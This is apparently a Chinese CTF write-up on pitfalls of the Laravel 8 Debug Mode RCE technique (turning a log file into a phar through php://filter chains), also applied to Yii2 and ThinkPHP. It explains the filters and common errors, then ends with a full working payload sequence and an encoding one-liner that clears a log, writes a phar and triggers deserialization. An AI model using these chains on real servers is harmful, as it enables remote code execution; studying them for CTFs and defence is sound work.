前言
这篇文章主要是记录自己在复现以及打比赛过程中碰到Laravel 8 Debug Mode RCE的时候一些坑点。关于该洞的分析这里就不过多赘述了,网上已经有很多文章(包括作者)梳理了流程。这篇文章重点放在一些没提到的坑点来加深理解
几篇分析文章:
首先起因是Laravel 8 Debug Mode RCE主要的利用点是通过file_put_content
来清空日志,因此这并不局限与Laravel框架本身,基本带有日志支持以及默认开启日志记录的框架,都可以来利用。在国赛初赛filter和最近春秋杯的easy_filter中,一个是Yii2,一个是TP5.1.x,其漏洞点都是一样的两句代码。
1 | // 以GET方式传入$file |
日志转phar流程浅析
在整个流程中用到php://filter
的三对过滤器
- convert.base64-encode 和 convert.base64-decode
- convert.iconv.utf-8.utf-16be 和 convert.iconv.utf-16be.utf-8
- convert.quoted-printable-encode 和 convert.quoted-printable-decode
首先我们要知道,最基本的phar利用的phar文件需要由正确的stub,即xxx<?php xxx; __HALT_COMPILER();?>
,保证这段内容phar扩展才能识别log文件为phar。剩下的就是反序列化的内容以及一些phar自带的特殊字符,剩余的其他垃圾字符可以忽略,但是还有一个点是不能同时出现两次一样的phar文件内容,否则也会报错。
清空log的流程:
1 | php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log |
写入phar的最后一步转码
1 | php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log |
convert.base64-decode
该过滤器的作用是把不符合 b64 标准的字符给干掉,也就是说,在php进行base64解码时,不符合规范的字符将直接删去。相当于:
1 | $_GET['txt'] = preg_replace('|[^a-z0-9A-Z+/]|s', '', $_GET['txt']); |
所以我们需要将phar文件内容进行base64-encode。
convert.iconv.utf-16be.utf-8
这一字符编码转换的作用是,将字符转为一些非b64合法字符,最后由b64解码将不合法字符吃掉。**utf-16le
的编码特点是将utf-8扩充为双字节,如果本身的utf-8字符就是单字节的,则用\0
去填充低字节**,如
1 |
|
所以如果内容不是像上述说的编码格式的话,就会被转成一些垃圾字符(乱码的样子),比如
1 | echo -ne '[x1]p\0a\0y\0l\0o\0a\0d\0X[x2]p\0a\0y\0l\0o\0a\0d\0X[x3]' > /tmp/test.txt |
这样我们再配合base64-decode即可清除其他字符只留下payload。所以在清空log时,convert.iconv.utf-16be.utf-8和convert.base64-decode必须是最后两个,前者转垃圾字符,后者清空
convert.quoted-printable-encode
quoted-printable
用法是:
- 对于所有可打印字符的 ascii 码,除特殊字符等号 = 外,都不改变。
- 对于 = 和不可打印的 ascii 码以及非 ascii 码的数据的编码方法是:先将每个字节的二进制代码用两个十六进制数字表示,然后在前面再加上一个等号 = 。比如:
=
表示为=3D
,\0
表示为=00
所以其作用是:
- 在清空log时,先用
convert.iconv.utf-8.utf-16be
将内容扩充,在用convert.quoted-printable-encode
打乱(不改变偶数性),再用convert.iconv.utf-16be.utf-8
,这样未经过处理的字符就会都变成垃圾字符,最后base64-decode
清空 - 在写入合法phar文件时,先利用
convert.quoted-printable-decode
将我们构造好的经过编码的phar文件和未经任何处理的正常字符内容的日志文件区分。这样在后面使用convert.iconv.utf-16be.utf-8
时,就能保留我们构造好的phar文件,而将其他内容变成垃圾字符
踩坑 & 报错
了解了各个过滤器的作用之后,接下来分析一下再使用过滤器的过程中一些非预期的坑。这里分析的日志文件不仅局限于Laravel,同样还包括TP和Yii。在清空log文件的过程中没有什么坑,如果出现报错,那就再清空一次即可。下面具体还展开说一下前面提到的几个坑
quoted-printable-decode之坑
坑点:
- 在解码时,即convert.quoted-printable-decode,不能出现孤立的
=
(正常应该是ascii字符或者=xx
),否则会报错,因此必须保证=
为=3D
可能出现的报错信息
1 | stream filter (convert.quoted-printable-decode): invalid byte sequence |
invalid byte sequence
意思就是不合法的字节序列,出现的原因就是log文件中出现了孤立的=
号,这里就要分情况讨论以下了。
- 以原生的Laravel 8 Debug Mode RCE这个洞来说,其写入log文件的全程,都不会出现多余的
=
,因为它是通过POST json的形式传入的,而且没有传入多余=
,因此不会报错 - 但是对于以GET方式传入的(开篇的漏洞例子),那么就会传入
=
,比如?file=xxx
。
解决办法
既然多出了=
,那我们就传入?file=3DAA
,那么=
就变成合法格式的=3D
了。
传payload的时候就把等号去掉:?file[payload]
框架
三个框架:
- Laravel原生洞:不会出现等号,不需要修正
- YII2 GET方式传参:视环境而定,最好修正。这个是国赛filter出现的,虽然是GET传参进去了,但是一套打下来并没有报错,也没有修正。但是本地测试的时候是有多余的
=
号的需要修正的。 - TP:会出现等号,需要修正
最好的办法是只要是GET传参的都对等号进行修正,不会报错也不会影响payload
convert.iconv.utf-16be.utf-8之坑
坑点:
- 该过滤器从解码
utf-16be
转为utf-8
必须是双字节对齐的,也就是说,这个日志文件的字节总数必须是偶数,否则会报错。 - 对于双payload的情况下,如何让第二个payload变成垃圾字符,主要跟两个payload之间的字符数的奇偶性有关
可能出现的报错信息
1 | # 对应坑点1,在最后转换的时候可能会出现 |
原理
看过前面分析文章的话,知道作者需要解决两个问题,这两个问题的根源是laravel下日志文件的结构,但对于其他框架,可能日志结构就不是这样的,其payload可能只出现一次,但对于下面这个结构的分析,同样适用于其他结构
1 | [x1_1]payload1[x1_2]payload1[x1_3] |
观察一下这个结构,不难发现,就对应着两个问题:
- 该结构能否保证字节数为偶数
- 双payload如何解决
大部分文章给出的解决办法是:
- 先填充无害payload,让日志变为下面的结构,解决问题1
1 | [x1_1]无害payload1[x1_2]无害payload1[x1_3] |
- 在payload结尾添加a,使得双payload中间的部分错开一个字节,从而使后面的payload失效
1 | payload[axxxxp]ayloada |
这样axxxxp
就会成对进行utf-16le的解码,后面payload的首字节被破坏了,就不是正常payload的解码方式了。
更稳定的解决方向
1.针对问题1
了解了原理之后,针对一些又非预期的情况,我们就能处理了。
对于解法1,针对不同的框架有个问题
1 | [x1_1]无害payload1[x1_2]无害payload1[x1_3] |
- 针对Laravel原生的洞,是不会出现payload1、2一奇一偶的情况的,因为如果原先payload为奇数,那么我们填充无害
AA
后,必然也是奇数。偶数的情况也是一样 - 但是对于GET传参的方法,如果原先payload奇数,那么填充任意无害payload写入log后有可能是偶数也有可能是奇数,这里情况比较多,也没必要继续讨论了。
解决办法
无论[x2_1]payload2[x2_2]payload2[x2_3]
奇偶性如何,可以通过fuzz,**如果是填充一次无害字符后,最后解码报错,那么就填充两次(必不会报错)**如果第一次没报错,那就不用再填充第二次了。
2.针对问题2
还是跟奇数性有关,如果两个payload之间的其他字符是偶数的话,那就需要在payload末尾填充一个a,如:
1 | payload[axxxxp]ayloada |
如果两个payload之间的其他字符数本身就是奇数的话,那就不需要了。
还是通过fuzz来确定,最后如果不报错或者payload正常执行了,那就没问题。比赛的时候尽量本地先测试。
convert.base64-decode之坑
坑点:
- 在base64解码的时候**整个日志文件中间不能出现
=
**,因为=
在base64中相当于填充字节的作用,只能出现在结尾。如果出现=
,则base64解码会报错
这个问题在quoted-printable的问题解决之后,就不会有了。
window和linux之坑
坑点在于,**window的换行是\r\n
(两字节),linux的换行是\n
(单字节)**,可能出现的问题:
window下能打通,linux下不能打通(或者反过来),再具体一点就是,window下最后转换出来是正确的单payload,linux下最后转换出来却是双payload(导致爆SHA1那个错误)
因为在上述问题2中
1 | payload[axxxxp]ayloada |
两个payload之间,大概率是存在换行的,而win和liunx换行不同,因此就会导致window下中间的垃圾字符是奇数,而liunx下是偶数(或者反过来)。所以在本地测试和打比赛环境的时候需要特别注意
payload总结
1.清空日志(大概率没问题)
1 | ?file=php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log |
2.填充无害payload凑偶数
视报错决定填充几次
1 | ?file=3DAA |
3.填充真正的payload
先将我们的phar文件按最后转换的编码逆序来生成要填入的payload
1 | cat phar.phar | base64 -w0 | python3 -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())" |
base64不换行编码 => 中间加=00
(utf-16le.utf-8) => 加=
(quoted-printable.decode)
生成的payload,根据最后一步的情况,在尾部添加奇数或偶数的a
1 | ?file[payload][a(奇 or 偶)] |
4.生成phar文件
1 | ?file=php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../runtime/log/202105/30.log |
先本地测试,注意window和linux环境,这里可以将过滤器拆分或者会看log文件的内容,来判断是第几个过滤器报错,然后对第2、3相应调整
5.触发phar
1 | ?file=phar://../runtime/log/202105/30.log |
如果没执行成功,大概率是因为出现了双payload的情况,这时需要更改第3步尾部添加的a
最后总结一下坑点:
报错 | 大概率出现的地方 | 解决 |
---|---|---|
stream filter (convert.quoted-printable-decode): invalid byte sequence | 第4步:convert.quoted-printable-decode时 | 第2步:?file=3DAA和?file[payload] |
iconv stream filter (“utf-16be”=>”utf-8”): invalid multibyte sequence | 第4步:convert.iconv.utf-16be.utf-8时 | 第2步:填充2次 |
SHA1 signature could not be verified: broken signature | 最后一步触发phar时,但原因是convert.iconv.utf-16be.utf-8 | 第3步:填充正常payload的尾部的a的个数(奇 or 偶) |
window打通,但linux打不通 | 最后一步触发phar时,但原因是convert.iconv.utf-16be.utf-8 | 第3步:填充正常payload的尾部的a的个数(奇 or 偶) |